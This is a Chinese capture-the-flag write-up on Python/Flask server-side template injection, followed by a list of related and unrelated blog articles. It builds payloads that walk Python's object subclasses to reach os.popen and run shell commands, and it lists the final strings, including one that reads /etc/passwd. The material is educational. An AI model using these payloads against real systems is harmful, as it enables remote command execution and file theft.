题目:

就一句话啥也没有。python 模板注入。刚学菜鸡还不知道python模板有哪些注入漏洞,上网查一下。又学到一个知识点。

python常用的web 模板有 Django,Jinja2,Tornado, Flask等

其中,Flask模板中有两个渲染函数render_template和render_template_string。

render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把**{undefined{}}**包裹的内容当做变量解析替换。

解题思路:

什么是模板注入呢?
为了写 html 代码的时候方便,很多网站都会使用模板,先写好一个 html 模板文件,
比如:

```python
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
```

这段代码中的 `html` 就是一个简单的模板文件,当开发者想要这个模板对应的样式时,可以直接用 `render_template_string` 方法来调用这个模板,从而直接把这个样
式渲染出来。而模板注入,就是指将一串指令代替变量传入模板中让它执行*,以这段代码为例,我们在传入 `code` 值时,可以用 `{{}}` 符号来包裹一系列代码,以此替代本应是
参数的 `id`
http://..../?id={{代码}}
知道了什么是模板文件,接下来开始模板注入环节:
首先,先测试一下是不是确实能注入,构造一个简单的测试 url:

服务器回传`6` 的存在说明 `3+3` 这条指令被忠实地执行了。
接下来,开始想办法编代码拿到服务器的控制台权限:

首先,题目告诉我们这是一个 python 注入问题,那么脚本肯定也是 python 的。

考怎样用 python 语句获取控制台权限:

想到了 `os.system` `os.popen` 者返回 **退出状态码** , 后者 ** file 形式** 返回 **输出内容**

我们想要的是内容,所以选择 `os.popen`
知道了要用这一句,那么我要怎么找到这一句呢?

python 给我们提供了完整的寻找([参考资料](https://www.cnblogs.com/tr1ple/p/9415641.html))

__class__ :// 返回对象所属的类
__mro__ : // 返回一个类所继承的基类元组,方法在解析时按照元组的 顺序解析。
__base__ :// 返回该类所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ // 每个新类都保留了子类的引用,这个方法返回一个类中仍然可引用的列表
__init__ : 类的初始化方法
__globals__ : 对包含函数全局变量的字典的引用

- 首先,找到当前变量所在的类:

服务器回复:告诉我们 这个变量的类是 'str' 了。
接下来,从这个类找到它的基类:

服务器回复:
<type 'str'>, <type 'basestring'>, <type 'object'>) 发现基类也有了。

- 然后,通过基类来找其中任意一个基类的引用列表:
这里有个小细节,`__mro__[]` 中括号里填谁其实区别都不大,这些基类引用的东西都一样。

从其中可以找到我们想要 `os` 所在的 `site._Printer` 类,它在列表的第七十二位,
`__subclasses__()[71]`


- 通过 `__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()` 调用服务器的控制台并显示,这下我们就可以随便用控制台输出了。
直接填命令语句:

注意这里的 `popen('ls').read()` ,意思是得到 ls 的结果并读取给变量,因此它会把当前目录所有文件都打印在我们的网页上。
从这里我们看到,flag 存在一个叫 `fl4g` 的无后缀文件里,那就好办了,再构造一个 payload,用 `cat` 读一下内容:

获得flag。

总结:

常用的几个payload如下:

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

攻防世界Web_python_template_injection的更多相关文章

  1. 攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup

    攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup 题目介绍 题目考点 SSTI模板注入漏洞 Writeup 知识补充 模板注入:模板引 ...

  2. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  3. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  4. 攻防世界 web进阶练习 NewsCenter

    攻防世界 web进阶练习 NewsCenter   题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...

  5. 【攻防世界】高手进阶 pwn200 WP

    题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...

  6. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  7. 攻防世界 | CAT

    来自攻防世界官方WP | darkless师傅版本 题目描述 抓住那只猫 思路 打开页面,有个输入框输入域名,输入baidu.com进行测试 发现无任何回显,输入127.0.0.1进行测试. 发现已经 ...

  8. 攻防世界 robots题

    来自攻防世界 robots [原理] robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在, ...

  9. 【攻防世界】 高手进阶区 Recho WP

    0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...

随机推荐

  1. 理解ASP.NET Core - 基于Cookie的身份认证(Authentication)

    注:本文隶属于<理解ASP.NET Core>系列文章,请查看置顶博客或点击此处查看全文目录 概述 通常,身份认证(Authentication)和授权(Authorization)都会放 ...

  2. Centos下安装Scala(1)

    1.登录centos至root角色下 配置环境变量 2.执行下述命令 scala -version 出现结果如下 输入 'y' 3.开始安装 4.安装完成界面 5.启动成功以及测试程序

  3. VAE变分自编码器

    我在学习VAE的时候遇到了很多问题,很多博客写的不太好理解,因此将很多内容重新进行了整合. 我自己的学习路线是先学EM算法再看的变分推断,最后学VAE,自我感觉这个线路比较好理解. 一.首先我们来宏观 ...

  4. Redis的过期删除策略(和内存淘汰机制)-转

    版权声明:本文为CSDN博主「奥修诺斯」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明.原文链接:https://blog.csdn.net/qq_39944869/ ...

  5. pod 详解

    静态pod是由kubelet进行管理的仅存在于特定的node上的pod. pod容器共享volume同一个pod中的多个容器能够共享pod级别的存储卷volume pod的配置管理  应用配置管理方案 ...

  6. 如何美化 Matplotlib 的工具栏和绘图风格

    前言 matplotlib 功能十分强大,就是工具栏丑了点.忍了一个学期之后,还是决定自己动手,魔改一波 matplotlib 的工具栏样式.同时给大家分享一下自己按照 MATLAB 写的 matpl ...

  7. Kafka中非常值得学习的优秀设计

    一.Kafka基础 消息系统的作用 应该大部份小伙伴都清楚,用机油装箱举个例子 所以消息系统就是如上图我们所说的仓库,能在中间过程作为缓存,并且实现解耦合的作用. 引入一个场景,我们知道中国移动,中国 ...

  8. 【SimuPy】Python实现的Simulink 文档翻译全部完毕

    作者:CycleUser 前情回顾: 前些天在和@iGuo.@白小鱼以及@12334在关于如何看待哈工大.哈工程受美商务部「实体名单」影响,被禁止使用 MATLAB 商业软件?的问题中讨论到了 sim ...

  9. JS let, var, const的用法以及区别

    本文摘自多位前辈的博文,另外还有一些我的多余补充,摘自地址已补充.非常感谢各位前辈.仅以笔记学习为目的! 深入学习ES6的知识还请访问阮一峰老师的ES6教程 如果不使用let或者const,在JS只有 ...

  10. MySQL server has gone away 异常

    原因 一种可能是发送的SQL语句太长,以致超过了max_allowed_packet的大小,如果是这种原因,你只要修改my.cnf,加大max_allowed_packet的值即可. 还有一种可能是因 ...